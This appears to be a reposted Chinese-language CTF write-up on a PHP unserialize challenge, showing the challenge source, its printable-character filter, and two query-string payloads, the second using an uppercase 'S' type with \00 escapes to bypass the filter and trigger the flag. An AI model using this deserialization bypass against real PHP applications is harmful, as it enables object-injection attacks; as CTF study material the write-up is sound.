<?php
include "flag5.php";
class funny{
private $a;
function __construct() {
$this->a = "givemeflag";
}
function __destruct() {
global $flag;
if ($this->a === "givemeflag") {
echo $flag;
}
}
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
die("浣犲埌搴曡涓嶈鍟�");
}
}
unserialize($a);
} else {
show_source(__FILE__);
}
?>
這個的重點是這個地方
if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
die("浣犲埌搴曡涓嶈鍟�");
}
它對不可列印字符進行了過濾
恰恰private $a中有不可避免的有不可列印字符
<?php
class funny
{
private $a = "givemeflag";
}
$b = new funny();
var_dump(serialize($b));
?tryhackme=O:5:"funny":1:{s:8:"%00funny%00a";s:10:"givemeflag";}
然后這里使用s和%00就會在payload被urldecode后被檢測攔截

這里使用大寫S進行hex code 然后再使用、00進行繞過處理
?tryhackme=O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}

希望這篇文章能夠幫助你!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/287324.html
標籤:其他
上一篇:量化選股學習 聚寬
